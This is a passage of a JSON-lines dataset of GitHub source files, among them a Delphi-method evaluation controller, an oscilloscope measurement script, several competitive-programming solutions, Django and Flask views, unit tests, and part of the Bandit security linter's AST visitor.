((contar>0)&(ronda==\"1\")):\r\n return locals()\r\n contar = db((db.evaluaciones.id_solicitudes == id_solicitud) & (\r\n db.evaluaciones.ronda == 2) & (db.evaluaciones.evaluacion2 == \"Sin evaluación\")).count()\r\n if contar == 0:\r\n delphi(id_solicitud)\r\n c = (db.solicitudes.id == id_solicitud)\r\n miset = db(c)\r\n miset.update(estado=\"Evaluada\")\r\n\r\n\r\n\r\n\r\ndef delphi(id_solicitud):\r\n\r\n #Consulta para obtener los datos sobre los que se va a trabajar\r\n evaluaciones = db(db.evaluaciones.id_solicitudes == id_solicitud) \\\r\n .select(db.evaluaciones.id_solicitudes, db.evaluaciones.id_aspectossolicitud, db.evaluaciones.evaluacion,\r\n db.evaluaciones.delphi, orderby=db.evaluaciones.id_aspectossolicitud)\r\n cant_aspectos = db(db.evaluaciones.id_solicitudes == id_solicitud).select(\r\n db.evaluaciones.id_aspectossolicitud, groupby=db.evaluaciones.id_aspectossolicitud)\r\n print('eva, cant asp')\r\n print(evaluaciones,cant_aspectos)\r\n #Conteo de la cantidad de aspectos a evaluar y cantidad de evaluaciones emitidas\r\n contar_aspectos = 0\r\n for cant_aspecto in cant_aspectos:\r\n contar_aspectos += 1\r\n contar_evaluaciones = 0\r\n for evaluacion in evaluaciones:\r\n contar_evaluaciones += 1\r\n #Declaraciones de listas y variables auxiliares\r\n conteo_de_evaluaciones = [0] * 5\r\n x = 0\r\n y = 0\r\n c = 0\r\n mf = [0] * contar_aspectos\r\n lista_d_evaluaciones = [0] * contar_evaluaciones\r\n\r\n #(-_-)#PASO 1 DEL METODO DELPHI#(-_-)#\r\n #Creación de la matriz de frecuencia#\r\n for evaluacion in evaluaciones:\r\n lista_d_evaluaciones[y] = evaluacion.evaluacion\r\n y += 1\r\n while x < contar_evaluaciones:\r\n y = 0\r\n while y < contar_evaluaciones / contar_aspectos:\r\n if lista_d_evaluaciones[x] == \"Muy Mal\":\r\n var0 = conteo_de_evaluaciones[0]\r\n conteo_de_evaluaciones[0] = var0 + 1\r\n elif lista_d_evaluaciones[x] == \"Mal\":\r\n var1 = conteo_de_evaluaciones[1]\r\n conteo_de_evaluaciones[1] = var1 + 1\r\n elif lista_d_evaluaciones[x] == \"Regular\":\r\n var2 = conteo_de_evaluaciones[2]\r\n conteo_de_evaluaciones[2] = var2 + 1\r\n elif lista_d_evaluaciones[x] == \"Bien\":\r\n var3 = conteo_de_evaluaciones[3]\r\n conteo_de_evaluaciones[3] = var3 + 1\r\n else:\r\n var4 = conteo_de_evaluaciones[4]\r\n conteo_de_evaluaciones[4] = var4 + 1\r\n y += 1\r\n x += 1\r\n mf[c] = conteo_de_evaluaciones\r\n conteo_de_evaluaciones = [0] * 5\r\n c += 1\r\n print('MF',mf)\r\n #(-_-)#PASO 2 DEL METODO DELPHI#(-_-)#\r\n #Creación de la matriz de frecuencias acumuladas#\r\n mfa = []\r\n lista_aux = []\r\n x = 0\r\n while x < contar_aspectos:\r\n y = 0\r\n lista_aux.append(mf[x][0])\r\n while y < 4:\r\n var1 = lista_aux[y]\r\n var2 = mf[x][y + 1]\r\n lista_aux.append(var1 + var2)\r\n y += 1\r\n x += 1\r\n mfa.append(lista_aux)\r\n lista_aux = []\r\n print('MFA')\r\n print(mfa)\r\n #(-_-)#PASO 3 DEL METODO DELPHI#(-_-)#\r\n #Creación de la matriz de frecuencias acumuladas relativas#\r\n mfar = [0] * contar_aspectos\r\n x = 0\r\n while x < contar_aspectos:\r\n y = 0\r\n while y < 5:\r\n lista_aux.append(mfa[x][y] * 1.00 / (contar_evaluaciones / contar_aspectos))\r\n y += 1\r\n mfar[x] = lista_aux\r\n lista_aux = []\r\n x += 1\r\n print('MFAR')\r\n print(mfar)\r\n #(-_-)#PASO 4 DEL METODO DELPHI#(-_-)#\r\n #Obtención del inverso de la distribución normal estándar acumulativa#\r\n mfinal = [0] * contar_aspectos\r\n x = 0\r\n while x < contar_aspectos:\r\n y = 0\r\n while y < 5:\r\n print(mfar[x][y])\r\n z = mfar[x][y] * 1000\r\n w = z.__int__()\r\n z = w / 100.0\r\n print(z,w,z)\r\n datos = db(db.valores.valor == z).select(db.valores.idnea)\r\n for dato in datos:\r\n print(dato.idnea)\r\n lista_aux.append(dato.idnea)\r\n y += 1\r\n mfinal[x] = lista_aux\r\n print(mfinal)\r\n lista_aux = []\r\n x += 1\r\n print('MFINAL')\r\n print(mfinal)\r\n #(-_-)#PASO 5 DEL METODO DELPHI#(-_-)#\r\n #Cálculo del resultado final#\r\n\r\n #Sumatoria del valor de los aspectos#\r\n sumatoriah = [0] * contar_aspectos\r\n x = 0\r\n while x < contar_aspectos:\r\n y = 0\r\n z = 0\r\n while y < 4:\r\n z = z + mfinal[x][y]\r\n y += 1\r\n sumatoriah[x] = z\r\n x += 1\r\n\r\n #Sumatoria del valor de los criterios#\r\n sumatoriav = [0] * 4\r\n x = 0\r\n while x < 4:\r\n y = 0\r\n z = 0\r\n while y < contar_aspectos:\r\n z = z + mfinal[y][x]\r\n y += 1\r\n sumatoriav[x] = z\r\n x += 1\r\n\r\n #Promedio del valor de los aspectos#\r\n promedio = [0] * contar_aspectos\r\n x = 0\r\n while x < contar_aspectos:\r\n z = sumatoriah[x] / 5.0\r\n promedio[x] = z\r\n x += 1\r\n\r\n #Cálculo del valor d N#\r\n n = 0\r\n x = 0\r\n z = 0\r\n while x < contar_aspectos:\r\n z = z + sumatoriah[x]\r\n x += 1\r\n n = z / (5.0 * contar_aspectos)\r\n\r\n #Promedio - N#\r\n x = 0\r\n while x < promedio.__len__():\r\n y = promedio[x]\r\n promedio[x] = y - n\r\n x += 1\r\n print('Promedios')\r\n print(promedio)\r\n\r\n #Cálculo de los límites#\r\n limites = [0] * 4\r\n x = 0\r\n while x < 4:\r\n limites[x] = sumatoriav[x] / contar_aspectos\r\n x += 1\r\n print('Límites')\r\n print(limites)\r\n\r\n #Clasificación de los elementos\r\n x = 0\r\n id_aspectos_solicitud = []\r\n for aspect in cant_aspectos:\r\n id_aspectos_solicitud.append(aspect.id_aspectossolicitud)\r\n while x < contar_aspectos:\r\n elemento = promedio[x]\r\n if elemento >= limites[3]:\r\n actualiza(4, id_solicitud, id_aspectos_solicitud[x])\r\n elif elemento >= limites[2]:\r\n actualiza(3, id_solicitud, id_aspectos_solicitud[x])\r\n elif elemento >= limites[1]:\r\n actualiza(2, id_solicitud, id_aspectos_solicitud[x])\r\n elif elemento >= limites[0]:\r\n actualiza(1, id_solicitud, id_aspectos_solicitud[x])\r\n else:\r\n actualiza(0, id_solicitud, id_aspectos_solicitud[x])\r\n x += 1\r\n return\r\n\r\ndef actualiza(clasificacion, id_solicitud, aspecto):\r\n rondas = db(db.evaluaciones.id_solicitudes == id_solicitud).select(db.evaluaciones.ronda)\r\n for ronda in rondas:\r\n x = ronda.ronda\r\n if x == '1':\r\n if clasificacion == 0:\r\n db((db.evaluaciones.id_solicitudes == id_solicitud) & (\r\n db.evaluaciones.id_aspectossolicitud == aspecto)).update(delphi='Muy Bien')\r\n elif clasificacion == 1:\r\n db((db.evaluaciones.id_solicitudes == id_solicitud) & (\r\n db.evaluaciones.id_aspectossolicitud == aspecto)).update(delphi='Bien')\r\n elif clasificacion == 2:\r\n db((db.evaluaciones.id_solicitudes == id_solicitud) & (\r\n db.evaluaciones.id_aspectossolicitud == aspecto)).update(delphi='Regular')\r\n elif clasificacion == 3:\r\n db((db.evaluaciones.id_solicitudes == id_solicitud) & (\r\n db.evaluaciones.id_aspectossolicitud == aspecto)).update(delphi='Mal')\r\n elif clasificacion == 4:\r\n db((db.evaluaciones.id_solicitudes == id_solicitud) & (\r\n db.evaluaciones.id_aspectossolicitud == aspecto)).update(delphi='Muy Mal')\r\n elif x == '2':\r\n if clasificacion == 0:\r\n db((db.aspectossolicitud.id_solicitudes == id_solicitud) & (\r\n db.aspectossolicitud.id == aspecto)).update(evaluacionfinal='Muy Bien')\r\n elif clasificacion == 1:\r\n db((db.aspectossolicitud.id_solicitudes == id_solicitud) & (\r\n db.aspectossolicitud.id == aspecto)).update(evaluacionfinal='Bien')\r\n elif clasificacion == 2:\r\n db((db.aspectossolicitud.id_solicitudes == id_solicitud) & (\r\n db.aspectossolicitud.id == aspecto)).update(evaluacionfinal='Regular')\r\n elif clasificacion == 3:\r\n db((db.aspectossolicitud.id_solicitudes == id_solicitud) & (\r\n db.aspectossolicitud.id == aspecto)).update(evaluacionfinal='Mal')\r\n elif clasificacion == 4:\r\n db((db.aspectossolicitud.id_solicitudes == id_solicitud) & (\r\n db.aspectossolicitud.id == aspecto)).update(evaluacionfinal='Muy Mal')\r\n return\r\n","repo_name":"miguelconde91/seeda","sub_path":"controllers/experto.py","file_name":"experto.py","file_ext":"py","file_size_in_byte":12509,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"10403159709","text":"\"\"\" Rohde & Schwarz RTP Amplitude Measurement\"\"\"\nfrom iSocket import iSocket # Import socket module\n\ndef RTP_ChSetup():\n for ch in range(4):\n rtp.write(f'CHAN{ch + 1}:STAT ON') # State ON\n rtp.write(f'CHAN{ch + 1}:INV OFF') # Inverse OFF\n rtp.write(f'CHAN{ch + 1}:SCAL 0.02') # Vertical Scale, V\n rtp.write(f'CHAN{ch + 1}:SKEW:TIME 0') # -100e9 to 100e9 / 10e-15\n rtp.write(f'CHAN{ch + 1}:EATS LOG') # LIN LOG\n rtp.write(f'CHAN{ch + 1}:EATT 0') # -60 to 120 dB\n rtp.write(f'CHAN2:INV ON')\n rtp.write(f'CHAN4:INV ON')\n\ndef RTP_meas_config(i, CH1, CH2):\n rtp.write(f':MEAS{i}:SOUR C{CH1}W1,C{CH2}W1')\n rtp.write(f':MEAS{i}:STAT:ENAB 1') # Statistics on\n rtp.write(f':MEAS{i}:CAT AMPT') # Amp & Time Measurments\n rtp.write(f':MEAS{i}:MAIN AMPL') # Main Amplitude\n # rtp.write(f':MEAS{i}:ADD RMS,ON') # Add RMS\n rtp.write(f':MEAS{i}:ADD DEL,ON') # Add Delay\n rtp.write(f':MEAS{i}:ADD PHAS,ON') # Add Phase\n rtp.write(f':MEAS:STAT:RES') # Reset Meas Stats\n\ndef RTP_Get_Meas(mg):\n # data = rtp.query(f':MEAS{mg}:ARES?') # Entire Table\n # print(len(data.split(','))) # Verify number of elements\n amp = rtp.query(f'MEAS{mg}:RES:AVG? AMPL') # Amplitude\n dlt = rtp.query(f'MEAS{mg}:RES:AVG? DEL') # Delay\n phs = 'n/a'\n # phs = rtp.query(f'MEAS{mg}:RES:AVG? PHAS') # Phase\n return f'{amp}, {dlt}, {phs}'\n\ndef RTP_Offset(ch, skew, attn_dB):\n rtp.write(f'CHAN{ch}:SKEW:TIME {skew}') # -100e9 to 100e9 / 10e-15\n rtp.write(f'CHAN{ch}:EATS LOG') # LIN LOG\n rtp.write(f'CHAN{ch}:EATT {attn_dB}') # -60 to 120 dB\n\ndef RTP_init_imm():\n rtp.query('RUNS;*OPC?') # INIT:IMM\n\ndef RTP_SweepContinuous(state):\n if state in ('ON', 'on', '1'):\n rtp.write('RUN') # Continuous sweep\n elif state in ('OFF', 'off', '0'):\n rtp.write('SING') # Single Sweep\n else:\n print(f'Invalid State: {state}')\n\ndef RTP_sweepCount(num):\n rtp.write(f':MEAS:STAT:RES') # Reset Meas Stats\n for i in range(num):\n RTP_init_imm()\n\ndef file_write(outString):\n filename = __file__.split('.')[0] + '.csv'\n fily = open(filename, '+a')\n fily.write(f'{outString}\\n')\n fily.close()\n\nif __name__ == \"__main__\":\n smw = iSocket().open('192.168.10.30', 5025)\n rtp = iSocket().open('192.168.10.50', 5025)\n rtp.s.settimeout(5)\n IDN = rtp.query('*IDN?')\n\n RTP_ChSetup()\n for i in range(1, 5, 1):\n RTP_meas_config(i, i, 1)\n\n file_write('Freq,Amp1,Del1,Phase1,Amp2,Del2,Phase2,Amp3,Del3,Phase3,Amp4,Del4,Phase4')\n for freq in range(int(100e6), int(5e9), int(100e6)):\n smw.write(f'SOUR2:FREQ:CW {freq}')\n smw.write(f'OUTP2:STAT 1')\n smw.write(f'SOUR2:POW:POW 0')\n # rtp.write(f'ACQ:RES {8/freq}') # Resolution\n rtp.write(f'TIM:RANG {1.2/freq}') # Acquisition Time\n\n RTP_sweepCount(100)\n meas1 = RTP_Get_Meas(1)\n meas2 = RTP_Get_Meas(2)\n meas3 = RTP_Get_Meas(3)\n meas4 = RTP_Get_Meas(4)\n file_write(f'{freq},{meas1},{meas2},{meas3},{meas4}')\n\n rtp.clear_error()\n","repo_name":"mclim9/RS_pyTools","sub_path":"pyTools/RTP/iSck_RTP_MeasOffset.py","file_name":"iSck_RTP_MeasOffset.py","file_ext":"py","file_size_in_byte":3432,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"35864087591","text":"class Solution:\n def countCompleteSubarrays(self, nums: List[int]) -> int:\n distinct_count = len(set(nums))\n\n total = 0\n for i in range(len(nums)):\n count = Counter()\n for j in range(i, len(nums)):\n count[nums[j]] += 1\n if len(count) == distinct_count:\n total += 1\n\n return total\n","repo_name":"pbelskiy/contest","sub_path":"leetcode.com/2799_count_complete_subarrays_in_an_array/solution.py","file_name":"solution.py","file_ext":"py","file_size_in_byte":382,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"61"} +{"seq_id":"23538965011","text":"#!/usr/bin/env python3\n\ncases = int(input())\n\nfor T in range(1, cases+1):\n N = int(input())\n workers = [[n for n, c in enumerate(input()) if c == '1'] for _ in range(N)]\n\n fu = [i for i in range(N)]\n qty = [0 for i in range(N)]\n def find(x):\n if fu[x] != x:\n fu[x] = find(fu[x])\n return fu[x]\n def union(x, y):\n fu[find(x)] = find(y)\n def group(x):\n return [i for i in range(N) if find(i)==x]\n\n groups = []\n for worker in workers:\n if len(worker) > 0:\n fst = worker[0]\n for mach in worker[1:]:\n union(fst, mach)\n\n result = 0\n\n for worker in workers:\n if len(worker) > 0:\n qty[find(worker[0])] += 1\n \n cont = True\n while cont:\n cont = False\n for i in range(N):\n if qty[i] > len(group(i)):\n cont = True\n grs = sorted([(len(group(x)), x) for x in range(N) if len(group(x)) > qty[x]])\n _, nr = grs[0]\n qty[i] += qty[nr]\n qty[nr] = 0\n union(nr, i)\n \n\n\n for worker in workers:\n if len(worker) > 0:\n# qty[find(worker[0])] += 1\n for x in group(find(worker[0])):\n if x not in worker:\n result += 1\n\n for worker in workers:\n if len(worker) == 0:\n grs = sorted([(len(group(x)), x) for x in range(N) if len(group(x)) > qty[x]])\n # print(grs)\n _, nr = grs[0]\n qty[nr] += 1\n result += len(group(nr))\n\n \n \n\n #for i in range(N):\n # print(\"{} -> {} / {} / {}\".format(i, find(i), group(i), qty[i]))\n #print(workers)\n print(\"Case #{}: {}\".format(T, result))\n\n \n","repo_name":"dr-dos-ok/Code_Jam_Webscraper","sub_path":"solutions_python/Problem_193/34.py","file_name":"34.py","file_ext":"py","file_size_in_byte":1781,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"14707264485","text":"import PyPDF2\nfrom fastapi import UploadFile\n\n\nasync def pdf(file: UploadFile) -> str:\n reader = PyPDF2.PdfReader(file.file)\n text = \"\"\n for page in range(len(reader.pages)):\n page_obj = reader.pages[page]\n text += page_obj.extract_text()\n return text\n","repo_name":"iMADi-ARCH/embedbase-experimentation","sub_path":"backend/parsers/pdf.py","file_name":"pdf.py","file_ext":"py","file_size_in_byte":278,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"61"} +{"seq_id":"19612509203","text":"# 2798 블랙잭\n# https://www.acmicpc.net/problem/2798\n\nmin, max = map(int, input().split())\ncardList = list(map(int, input().split()))\n\nsumMax = 0\n\nfor i in range(len(cardList)):\n for j in range(i + 1, len(cardList)):\n for k in range(j + 1, len(cardList)):\n sum = cardList[i] + cardList[j] + cardList[k]\n if sum > max:\n continue\n if sum > sumMax:\n sumMax = sum\n\nprint(sumMax)\n","repo_name":"Seongkyun-Yu/TIL","sub_path":"algorithm-study/baekjoon/blackjack.py","file_name":"blackjack.py","file_ext":"py","file_size_in_byte":411,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"61"} +{"seq_id":"4265098810","text":"\"\"\"\nURL configuration for projeto_estoque project.\n\nThe `urlpatterns` list routes URLs to views. For more information please see:\n https://docs.djangoproject.com/en/4.2/topics/http/urls/\nExamples:\nFunction views\n 1. Add an import: from my_app import views\n 2. Add a URL to urlpatterns: path('', views.home, name='home')\nClass-based views\n 1. Add an import: from other_app.views import Home\n 2. Add a URL to urlpatterns: path('', Home.as_view(), name='home')\nIncluding another URLconf\n 1. Import the include() function: from django.urls import include, path\n 2. Add a URL to urlpatterns: path('blog/', include('blog.urls'))\n\"\"\"\n# Importa a classe `admin` do módulo `django.contrib`\nfrom django.contrib import admin\n\n# Importa a função `path` e o módulo `include` do módulo `django.urls`\nfrom django.urls import path, include\n\n# Importa as views do aplicativo `estoque`\nfrom estoque import views\n\n\n\nurlpatterns = [\n \n path(\"admin/\", admin.site.urls),\n\n path(\"novo_item/\", views.novo_item, name=\"novo_item\"),\n \n path(\"adicionar/\", views.adicionar_item, name=\"adicionar_item\"),\n \n path(\"\", views.lista_estoque),\n\n path(\"lista_estoque/\", views.lista_estoque, name=\"lista_estoque\"),\n \n path(\"<int:id>/\", views.detalhes_item, name=\"detalhes_item\"),\n \n path(\"<int:id>/editar/\", views.editar_item, name=\"editar_item\"),\n \n path(\"<int:id>/excluir/\",views.confirmar_exclusao_item, name=\"confirmar_exclusao_item\"),\n\n path('<int:id>/excluir/confirmar/', views.excluir_item, name='excluir_item'),\n]\n","repo_name":"JoaoVictor897/trabalhodjango","sub_path":"Django3/projeto_estoque/projeto_estoque/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":1559,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"37625577728","text":"import os\nfrom flask import Flask, Blueprint, render_template, request, redirect, url_for\nfrom otros.db import agregar_nota_imagen, buscar_notas_imagenes_por_nota_id, buscar_una_nota_por_id, buscar_nota_imagen_por_id, borrar_una_nota_imagen_por_id\nfrom constantes import UPLOAD_FOLDER\n\nnotas_imagenes_page = Blueprint('notas_imagenes_page',__name__)\n\n@notas_imagenes_page.route(\"/notas/<int:nota_id>\", methods=['GET','POST'])\ndef nota_imagen(nota_id):\n nota = buscar_una_nota_por_id(nota_id)\n dir = os.path.join(UPLOAD_FOLDER, str(nota_id))\n if os.path.isdir(dir):\n if request.method == 'POST':\n id = request.form['id']\n dir = os.path.join(UPLOAD_FOLDER, id)\n if id.isdigit() and os.path.exists(dir):\n file = request.files['file']\n agregar_nota_imagen(nota_id, file.filename, request.form['descripcion'])\n file.save(os.path.join(dir, file.filename))\n return redirect(url_for('notas_imagenes_page.nota_imagen', nota_id=nota_id))\n else:\n return \"Hubo un problemas, lo siento.\"\n else:\n notas_imagen = buscar_notas_imagenes_por_nota_id(nota_id)\n aux = []\n for i in notas_imagen:\n dir = os.path.join('upload/', str(nota_id))\n dir = os.path.join(dir,i[2])\n aux.append([i[0],i[1],dir,i[3]])\n notas_imagen = aux;\n return render_template(\"nota_imagen.html\",nota=nota, nota_id=nota_id, notas_imagen=notas_imagen)\n else:\n return \"Esta nota no existe\"\n\n@notas_imagenes_page.route(\"/notas/<int:nota_id>/<int:nota_imagen_id>\", methods=['GET','POST'])\ndef nota_imagen_perfil(nota_id, nota_imagen_id):\n if request.method == 'POST':\n fila = buscar_nota_imagen_por_id(nota_imagen_id)\n dir = os.path.join(UPLOAD_FOLDER, str(nota_id))\n dir = os.path.join(dir,fila[2])\n if os.path.exists(dir):\n borrar_una_nota_imagen_por_id(nota_imagen_id)\n os.remove(dir)\n return redirect(url_for('notas_imagenes_page.nota_imagen', nota_id=nota_id))\n else:\n return \"El archivo buscado no existe\"\n else:\n fila = buscar_nota_imagen_por_id(nota_imagen_id)\n if fila is None:\n return \"No existe la nota-imagen buscada\"\n else:\n dir = os.path.join('upload/', str(nota_id))\n dir = os.path.join(dir,fila[2])\n fila = [dir, fila[3], nota_id, nota_imagen_id]\n return render_template(\"nota_imagen_perfil.html\", fila=fila)\n","repo_name":"MrHelios/Alfablue","sub_path":"notasimagenes/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":2586,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"38720421044","text":"import unittest\nfrom ..Controllers.Controller import *\nfrom .Storage import *\nimport copy\n\nclass TestUpdateScientificActivty(unittest.TestCase):\n interface = ReadyStorage()\n logic = Controller(interface)\n\n def test_constructor(self):\n self.assertEqual(self.logic.interface, self.interface)\n\n def test_update_s_activity(self):\n update_id = 0\n update_data = {\"name\": \"Scientific research\",\n \"users\": []}\n existing = copy.deepcopy(self.logic.interface.get_s_activity_by_id(update_id))\n existing.set_name(update_data[\"name\"])\n existing.set_users(update_data[\"users\"])\n\n idx = self.logic.upd_s_activity(update_id, update_data)\n self.assertEqual(idx, existing.get_s_activity_id())\n ## new_teacher = self.logic.interface.get_teacher_by_id(idx)\n ## self.assertEqual(new_teacher, existing)\n\n def test_add_user_to_s_activity(self):\n s_activity_id = 0\n new = User(1, \"Vitaliy Tagunov\", [])\n existing = copy.deepcopy(self.logic.interface.get_s_activity_by_id(0))\n self.assertTrue(existing.add_user(new))\n\n idx = self.logic.add_user_to_s_activity(s_activity_id, new)\n self.assertEqual(idx, s_activity_id)\n\nif __name__ == '__main__':\n unittest.main()\n","repo_name":"TagunovVitaliy/institute","sub_path":"areas/area-6/src/Integration tests/Test_update_s_activity.py","file_name":"Test_update_s_activity.py","file_ext":"py","file_size_in_byte":1287,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"26090793035","text":"test_cases = int(input())\n\ndef compareSize(a, b):\n label_size = {\n 'S' : -1,\n 'M' : 1,\n 'L' : 3\n }\n\n label_a = label_size[a[-1]]\n label_b = label_size[b[-1]]\n\n if label_a != label_b:\n \n if label_a > label_b:\n print('>')\n elif label_a < label_b:\n print('<')\n else:\n print('=')\n \n else:\n if len(a) == len(b):\n print('=')\n return\n \n x_in_a = len(a) - 1\n x_in_b = len(b) - 1\n \n if (label_a * x_in_a) < (label_b * x_in_b):\n print('<')\n else:\n print('>')\n \nfor _ in range(test_cases):\n a, b = list(input().split(' '))\n compareSize(a, b)\n","repo_name":"Rediet-Ferew/competitive-programming","sub_path":"Codeforces/CompareTshirtSize.py","file_name":"CompareTshirtSize.py","file_ext":"py","file_size_in_byte":752,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"8053065353","text":"import ast\nimport logging\nimport operator\n\nfrom bandit.core import constants\nfrom bandit.core import tester as b_tester\nfrom bandit.core import utils as b_utils\n\n\nLOG = logging.getLogger(__name__)\n\n\nclass BanditNodeVisitor(object):\n def __init__(self, fname, metaast, testset,\n debug, nosec_lines, metrics):\n self.debug = debug\n self.nosec_lines = nosec_lines\n self.seen = 0\n self.scores = {\n 'SEVERITY': [0] * len(constants.RANKING),\n 'CONFIDENCE': [0] * len(constants.RANKING)\n }\n self.depth = 0\n self.fname = fname\n self.metaast = metaast\n self.testset = testset\n self.imports = set()\n self.import_aliases = {}\n self.tester = b_tester.BanditTester(\n self.testset, self.debug, nosec_lines)\n\n # in some cases we can't determine a qualified name\n try:\n self.namespace = b_utils.get_module_qualname_from_path(fname)\n except b_utils.InvalidModulePath:\n LOG.info('Unable to find qualified name for module: %s',\n self.fname)\n self.namespace = \"\"\n LOG.debug('Module qualified name: %s', self.namespace)\n self.metrics = metrics\n\n def visit_ClassDef(self, node, phase):\n '''Visitor for AST ClassDef node\n\n Add class name to current namespace for all descendants.\n :param node: Node being inspected\n :return: -\n '''\n # For all child nodes, add this class name to current namespace\n self.namespace = b_utils.namespace_path_join(self.namespace, node.name)\n\n def visit_FunctionDef(self, node, phase):\n '''Visitor for AST FunctionDef nodes\n\n add relevant information about the node to\n the context for use in tests which inspect function definitions.\n Add the function name to the current namespace for all descendants.\n :param node: The node that is being inspected\n :return: -\n '''\n\n self.context['function'] = node\n qualname = self.namespace + '.' + b_utils.get_func_name(node)\n name = qualname.split('.')[-1]\n\n self.context['qualname'] = qualname\n self.context['name'] = name\n\n # For all child nodes and any tests run, add this function name to\n # current namespace\n self.namespace = b_utils.namespace_path_join(self.namespace, name)\n self.update_scores(self.tester.run_tests(self.context, 'FunctionDef', phase=phase))\n\n def visit_Call(self, node, phase):\n '''Visitor for AST Call nodes\n\n add relevant information about the node to\n the context for use in tests which inspect function calls.\n :param node: The node that is being inspected\n :return: -\n '''\n\n self.context['call'] = node\n qualname = b_utils.get_call_name(node, self.import_aliases)\n name = qualname.split('.')[-1]\n\n self.context['qualname'] = qualname\n self.context['name'] = name\n\n self.update_scores(self.tester.run_tests(self.context, 'Call', phase=phase))\n\n def visit_Import(self, node, phase):\n '''Visitor for AST Import nodes\n\n add relevant information about node to\n the context for use in tests which inspect imports.\n :param node: The node that is being inspected\n :return: -\n '''\n for nodename in node.names:\n if nodename.asname:\n self.import_aliases[nodename.asname] = nodename.name\n self.imports.add(nodename.name)\n self.context['module'] = nodename.name\n self.update_scores(self.tester.run_tests(self.context, 'Import', phase=phase))\n\n def visit_ImportFrom(self, node, phase):\n '''Visitor for AST ImportFrom nodes\n\n add relevant information about node to\n the context for use in tests which inspect imports.\n :param node: The node that is being inspected\n :return: -\n '''\n module = node.module\n if module is None:\n return self.visit_Import(node, phase)\n\n for nodename in node.names:\n # TODO(ljfisher) Names in import_aliases could be overridden\n # by local definitions. If this occurs bandit will see the\n # name in import_aliases instead of the local definition.\n # We need better tracking of names.\n if nodename.asname:\n self.import_aliases[nodename.asname] = (\n module + \".\" + nodename.name\n )\n else:\n # Even if import is not aliased we need an entry that maps\n # name to module.name. For example, with 'from a import b'\n # b should be aliased to the qualified name a.b\n self.import_aliases[nodename.name] = (module + '.' +\n nodename.name)\n self.imports.add(module + \".\" + nodename.name)\n self.context['module'] = module\n self.context['name'] = nodename.name\n self.update_scores(self.tester.run_tests(self.context, 'ImportFrom', phase=phase))\n\n def visit_Str(self, node, phase):\n '''Visitor for AST String nodes\n\n add relevant information about node to\n the context for use in tests which inspect strings.\n :param node: The node that is being inspected\n :return: -\n '''\n self.context['str'] = node.s\n if not isinstance(node.parent, ast.Expr): # docstring\n self.context['linerange'] = b_utils.linerange_fix(node.parent)\n self.update_scores(self.tester.run_tests(self.context, 'Str', phase=phase))\n\n def visit_Bytes(self, node, phase):\n '''Visitor for AST Bytes nodes\n\n add relevant information about node to\n the context for use in tests which inspect strings.\n :param node: The node that is being inspected\n :return: -\n '''\n self.context['bytes'] = node.s\n if not isinstance(node.parent, ast.Expr): # docstring\n self.context['linerange'] = b_utils.linerange_fix(node.parent)\n self.update_scores(self.tester.run_tests(self.context, 'Bytes', phase=phase))\n\n def pre_visit(self, node, preprocess=False):\n self.context = {}\n self.context['imports'] = self.imports\n self.context['import_aliases'] = self.import_aliases\n\n if self.debug:\n LOG.debug(ast.dump(node))\n self.metaast.add_node(node, '', self.depth)\n\n if hasattr(node, 'lineno'):\n self.context['lineno'] = node.lineno\n\n if node.lineno in self.nosec_lines:\n LOG.debug(\"skipped, nosec\")\n self.metrics.note_nosec()\n return False\n\n if preprocess:\n return True\n\n self.context['imports'] = self.imports\n self.context['import_aliases'] = self.import_aliases\n self.context['node'] = node\n self.context['linerange'] = b_utils.linerange_fix(node)\n self.context['filename'] = self.fname\n\n self.seen += 1\n LOG.debug(\"entering: %s %s [%s]\", hex(id(node)), type(node),\n self.depth)\n self.depth += 1\n LOG.debug(self.context)\n return True\n\n def visit(self, node, phase=None):\n phase = phase or constants.PRIMARY\n name = node.__class__.__name__\n method = 'visit_' + name\n visitor = getattr(self, method, None)\n if visitor is not None:\n if self.debug:\n LOG.debug(\"%s called (%s)\", method, ast.dump(node))\n visitor(node, phase)\n else:\n self.update_scores(self.tester.run_tests(self.context, name, phase=phase))\n\n def post_visit(self, node):\n self.depth -= 1\n LOG.debug(\"%s\\texiting : %s\", self.depth, hex(id(node)))\n\n # HACK(tkelsey): this is needed to clean up post-recursion stuff that\n # gets setup in the visit methods for these node types.\n if isinstance(node, ast.FunctionDef) or isinstance(node, ast.ClassDef):\n self.namespace = b_utils.namespace_path_split(self.namespace)[0]\n\n def preprocess_nodes(self, node):\n \"\"\"Run preprocessors on nodes for the visitor.\"\"\"\n for _, value in ast.iter_fields(node):\n if isinstance(value, list):\n max_idx = len(value) - 1\n for idx, item in enumerate(value):\n if not isinstance(item, ast.AST):\n continue\n if idx < max_idx:\n setattr(item, 'sibling', value[idx + 1])\n else:\n setattr(item, 'sibling', None)\n setattr(item, 'parent', node)\n setattr(item, 'storage', {})\n if not self.pre_visit(item, preprocess=True):\n continue\n self.preprocess_nodes(item)\n self.post_visit(item)\n\n elif isinstance(value, ast.AST):\n setattr(value, 'sibling', None)\n setattr(value, 'parent', node)\n setattr(value, 'storage', {})\n if not self.pre_visit(value, preprocess=True):\n continue\n self.preprocess_nodes(value)\n self.post_visit(value)\n\n def generic_visit(self, node, phase=None):\n \"\"\"Drive the visitor.\"\"\"\n phase = phase or constants.PRIMARY\n for _, value in ast.iter_fields(node):\n if isinstance(value, list):\n for item in value:\n if not isinstance(item, ast.AST):\n continue\n if not self.pre_visit(item):\n continue\n self.visit(item, phase=phase)\n self.generic_visit(item, phase=phase)\n self.post_visit(item)\n\n elif isinstance(value, ast.AST):\n if not 